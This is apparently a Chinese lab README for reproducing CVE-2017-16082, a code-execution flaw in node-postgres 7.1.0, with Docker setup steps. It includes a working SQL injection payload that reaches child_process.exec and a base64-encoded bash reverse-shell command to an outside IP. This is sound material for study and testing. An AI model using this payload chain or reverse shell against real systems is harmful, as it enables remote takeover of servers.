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# node-postgres 代码执行漏洞CVE-2017-16082
## 漏洞原理
node-postgres在处理类型为`Row Description`的postgres返回包时将字段名拼接到代码中。由于没有进行合理转义导致一个特殊构造的字段名可逃逸出代码单引号限制造成代码执行漏洞。
参考链接:
- https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html
- https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability
- https://zhuanlan.zhihu.com/p/28575189
## 漏洞环境
执行如下命令编译及运行一个基于node-postgres 7.1.0的漏洞环境:
```
docker compose build
docker compose up -d
```
成功运行后,访问`http://your-ip:3000/?id=1`即可查看到id为1的用户信息用sqlmap即可发现此处存在注入点且数据库为postgres
![](img/1.png)
## 漏洞复现
那么我们就可以猜测这里存在node-postgres的代码执行漏洞。编写我想执行的命令`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash`然后适当分割每段长度不超过64字符后替换在如下payload中
```
SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3Rj`+/*", 4 AS "*/`cC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash`)//"
```
将上述payload编码后发送
![](img/2.png)
成功执行命令如反弹shell
![](img/3.png)
因为复现过程中坑比较多payload生成与测试过程中如果出现错误还请多多阅读[我的这篇文章](https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html),从原理上找到问题所在。